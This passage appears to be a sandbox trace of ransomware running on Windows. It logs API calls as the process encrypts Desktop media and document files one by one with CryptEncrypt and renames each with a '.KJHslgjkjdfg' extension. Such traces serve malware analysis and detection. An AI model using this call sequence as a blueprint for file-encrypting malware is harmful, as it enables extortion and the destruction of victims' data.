pdwDataLen=0x290fc78*=0x60c0) returned 1 [0127.147] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.148] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x60c0, lpOverlapped=0x0) returned 1 [0127.148] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.148] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x6194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.148] SetEndOfFile (hFile=0xc0) returned 1 [0127.153] GetProcessHeap () returned 0x2a0000 [0127.153] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.153] GetProcessHeap () returned 0x2a0000 [0127.153] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.153] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-KW2K2JqC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-kw2k2jqc.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-KW2K2JqC.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-kw2k2jqc.mp4.kjhslgjkjdfg")) returned 1 [0127.161] CloseHandle (hObject=0xc0) returned 1 [0127.161] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63f01d90, ftCreationTime.dwHighDateTime=0x1d5e37f, ftLastAccessTime.dwLowDateTime=0xc700ad20, ftLastAccessTime.dwHighDateTime=0x1d5e512, ftLastWriteTime.dwLowDateTime=0xc700ad20, ftLastWriteTime.dwHighDateTime=0x1d5e512, nFileSizeHigh=0x0, nFileSizeLow=0x21ee, dwReserved0=0x0, dwReserved1=0xffff, cFileName="0Pe3NN--.avi", cAlternateFileName="")) returned 1 [0127.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0Pe3NN--.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0pe3nn--.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.162] GetProcessHeap () returned 0x2a0000 [0127.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.162] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.162] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.162] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x2, lpOverlapped=0x0) returned 1 [0127.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.163] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.163] GetProcessHeap () returned 0x2a0000 [0127.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.163] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.163] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.163] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.163] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.164] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.164] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.164] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.164] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.164] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.164] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.164] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21ee, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x21ee, lpOverlapped=0x0) returned 1 [0127.164] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x21f0) returned 1 [0127.165] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.165] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x21f0, lpOverlapped=0x0) returned 1 [0127.166] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.166] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.166] SetEndOfFile (hFile=0xc0) returned 1 [0127.169] GetProcessHeap () returned 0x2a0000 [0127.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.169] GetProcessHeap () returned 0x2a0000 [0127.169] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.169] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0Pe3NN--.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0pe3nn--.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0Pe3NN--.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0pe3nn--.avi.kjhslgjkjdfg")) returned 1 [0127.173] CloseHandle (hObject=0xc0) returned 1 [0127.173] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee24d440, ftCreationTime.dwHighDateTime=0x1d5da44, ftLastAccessTime.dwLowDateTime=0xf99f2070, ftLastAccessTime.dwHighDateTime=0x1d5e721, ftLastWriteTime.dwLowDateTime=0xf99f2070, ftLastWriteTime.dwHighDateTime=0x1d5e721, nFileSizeHigh=0x0, nFileSizeLow=0x981e, dwReserved0=0x0, dwReserved1=0xffff, cFileName="2HqmpKv6lFgzjz6.wav", cAlternateFileName="2HQMPK~1.WAV")) returned 1 [0127.173] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2HqmpKv6lFgzjz6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2hqmpkv6lfgzjz6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.173] GetProcessHeap () returned 0x2a0000 [0127.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.173] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.173] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.173] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x2, lpOverlapped=0x0) returned 1 [0127.174] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.174] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.174] GetProcessHeap () returned 0x2a0000 [0127.174] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.174] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.174] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.174] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.175] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.175] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.175] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.175] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.175] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.175] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.175] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.175] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.175] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x981e, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x981e, lpOverlapped=0x0) returned 1 [0127.176] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x9820, dwBufLen=0x9820 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x9820) returned 1 [0127.176] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.176] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9820, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x9820, lpOverlapped=0x0) returned 1 [0127.177] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.177] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x9904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.177] SetEndOfFile (hFile=0xc0) returned 1 [0127.195] GetProcessHeap () returned 0x2a0000 [0127.195] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.195] GetProcessHeap () returned 0x2a0000 [0127.195] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.195] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2HqmpKv6lFgzjz6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2hqmpkv6lfgzjz6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2HqmpKv6lFgzjz6.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2hqmpkv6lfgzjz6.wav.kjhslgjkjdfg")) returned 1 [0127.198] CloseHandle (hObject=0xc0) returned 1 [0127.198] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9f5d1e0, ftCreationTime.dwHighDateTime=0x1d5e29a, ftLastAccessTime.dwLowDateTime=0x95c73740, ftLastAccessTime.dwHighDateTime=0x1d5e654, ftLastWriteTime.dwLowDateTime=0x95c73740, ftLastWriteTime.dwHighDateTime=0x1d5e654, nFileSizeHigh=0x0, nFileSizeLow=0xf12a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="2tp1cpJo 8v.bmp", cAlternateFileName="2TP1CP~1.BMP")) returned 1 [0127.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2tp1cpJo 8v.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2tp1cpjo 8v.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.198] GetProcessHeap () returned 0x2a0000 [0127.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.198] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.198] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.199] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x6, lpOverlapped=0x0) returned 1 [0127.200] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.200] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.200] GetProcessHeap () returned 0x2a0000 [0127.200] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.200] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.200] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.200] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.200] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.200] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.200] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.200] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.201] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.201] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.201] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.201] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.201] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf12a, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0xf12a, lpOverlapped=0x0) returned 1 [0127.202] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xf130, dwBufLen=0xf130 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xf130) returned 1 [0127.203] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.203] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf130, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0xf130, lpOverlapped=0x0) returned 1 [0127.203] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.203] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xf204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.203] SetEndOfFile (hFile=0xc0) returned 1 [0127.206] GetProcessHeap () returned 0x2a0000 [0127.206] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.206] GetProcessHeap () returned 0x2a0000 [0127.206] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2tp1cpJo 8v.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2tp1cpjo 8v.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2tp1cpJo 8v.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2tp1cpjo 8v.bmp.kjhslgjkjdfg")) returned 1 [0127.210] CloseHandle (hObject=0xc0) returned 1 [0127.210] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be7f8d0, ftCreationTime.dwHighDateTime=0x1d5e347, ftLastAccessTime.dwLowDateTime=0x1f76aca0, ftLastAccessTime.dwHighDateTime=0x1d5df70, ftLastWriteTime.dwLowDateTime=0x1f76aca0, ftLastWriteTime.dwHighDateTime=0x1d5df70, nFileSizeHigh=0x0, nFileSizeLow=0x61c9, dwReserved0=0x0, dwReserved1=0xffff, cFileName="3EaUC.pptx", cAlternateFileName="3EAUC~1.PPT")) returned 1 [0127.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3EaUC.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3eauc.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.210] GetProcessHeap () returned 0x2a0000 [0127.210] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.210] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.210] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.211] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x7, lpOverlapped=0x0) returned 1 [0127.212] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.212] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.212] GetProcessHeap () returned 0x2a0000 [0127.212] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0127.212] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30) returned 1 [0127.212] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.212] WriteFile (in: hFile=0xc0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290fc90*=0x30, lpOverlapped=0x0) returned 1 [0127.212] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.212] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.212] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.212] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.212] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.212] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.212] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.213] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.213] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x61c9, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x61c9, lpOverlapped=0x0) returned 1 [0127.213] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x61d0, dwBufLen=0x61d0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x61d0) returned 1 [0127.213] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.213] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x61d0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x61d0, lpOverlapped=0x0) returned 1 [0127.213] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.214] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x6294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.214] SetEndOfFile (hFile=0xc0) returned 1 [0127.217] GetProcessHeap () returned 0x2a0000 [0127.217] HeapFree (in: 